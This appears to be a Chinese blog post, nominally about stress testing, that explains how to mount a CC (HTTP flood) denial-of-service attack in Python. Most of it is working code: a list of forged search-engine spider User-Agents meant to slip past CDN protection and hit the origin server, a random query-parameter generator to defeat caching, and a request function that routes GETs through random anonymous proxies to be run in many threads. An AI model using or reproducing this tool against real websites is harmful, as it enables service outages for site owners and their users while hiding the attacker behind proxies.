用Python实现CC攻击压力测试的思路

首先,让我们了解什么是 CC 攻击及其实现原理。HTTP Flood攻击,也称为 CC 攻击,并不需要控制大量的“肉鸡”(即被黑客远程控制的计算机)。相反,攻击者使用端口扫描程序在互联网上寻找匿名的 HTTP 代理或 SOCKS 代理。通过这些匿名代理,攻击者可以伪装成正常用户,向攻击目标发送大量 HTTP 请求,以消耗其资源。CC 攻击主要针对网站,目的是通过产生大量连接数来使其无法正常服务。

根据上述描述,我们可以总结出以下几点:

  1. 需要一定数量的高匿名代理。
  2. 必须通过代理向目标站点发送请求。
  3. 需要使用多线程或多进程结合多线程的方式来实现请求。

实现思路

  1. 网上有很多免费代理站,可以提取到不少代理 IP,不过大部分都是不可用的,需要增加验证步骤。
  2. 现在不少站点都开了 CDN,但是有些站长为了及时收录开启了搜索引擎回源,可以通过伪造蜘蛛 UA 绕过 CDN 防护从而访问源站:

    # UA列表,用于过CDN和部分盾
    UA = [
        "Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)",  # 百度蜘蛛抓取欺骗
        "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)",  # 谷歌蜘蛛抓取欺骗
        "Sogou web spider/4.0( http://www.sogou.com/docs/help/webmasters.htm#07)",  # 搜狗蜘蛛抓取欺骗
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11; 360Spider",  # 奇虎蜘蛛抓取欺骗
        "Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)"  # 必应蜘蛛抓取欺骗
    ]
  1. GET 请求方式需要添加随机参数值,不管是原始的参数随机,还是自定义一个 random 参数都是很有必要的,可绕过一些缓存:

    # 生成随机参数
    def random_parameters(site_url):
        items = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
        temp = ""
        random_str = temp.join(random.sample(items, 10))
        if site_url.find('?') >= 0:
            site_url = site_url + "&_random=" + random_str
        else:
            site_url = site_url + "/?_random=" + random_str
        return site_url
  1. 准备完成,下一步需要通过代理请求站点:

    # GET请求主线程
    def cc(site, ua, refer, mode):
        # Header请求头,如有其它参数的可以往里面加
        headers = {
            "User-Agent": "",
            "Referer": "",
            "Cache-Control": "no-cache"
        }
        # 选择User-Agent
        if ua == '2':
            headers["User-Agent"] = UA[1]
        elif ua == '3':
            headers["User-Agent"] = UA[2]
        elif ua == '4':
            headers["User-Agent"] = UA[3]
        elif ua == '5':
            headers["User-Agent"] = UA[4]
        elif ua == '6':
            random_ua = UserAgent()
            headers["User-Agent"] = random_ua.random
        elif ua == '7':
            headers["User-Agent"] = random.choice(UA)
        else:
            headers["User-Agent"] = UA[0]
        # 选择Referer
        headers["Referer"] = refer
        # print(headers)
        # 选择是否使用代理
        try:
            if mode == "2":
                res = requests.get(random_parameters(site), headers=headers,
                                   timeout=15)  # 不使用代理IP,超时时间默认15S,也就是10秒请求不到内容才进入下一个请求,不要太快
            else:
                proxy_host = random.choice(ip)  # 随取IP
                proxy_temp = {"http": proxy_host, "https": proxy_host}
                res = requests.get(random_parameters(site), headers=headers, proxies=proxy_temp, timeout=15)  # 使用代理IP
            print(res)
        except Exception as e:
            print(e)
  1. 最后就是使用 Python 多线程的方法来调用 cc() 函数提高效率了。

注意事项

不建议无节制地发送数据包。将 timeout 设置得过低没有实际意义,只会导致本地主机的 CPU 使用率过高,甚至可能导致系统卡死。请求一旦断开,服务器会直接忽略这些请求,继续完成连接并获取数据。然而,对于像 CloudFlare 这样的提供5秒防护的 CDN 服务来说,这种情况就无能为力了。

评论区
头像
    头像
    某猫
      

    mu喵喵~
    啊哈!Get新思路(?嘘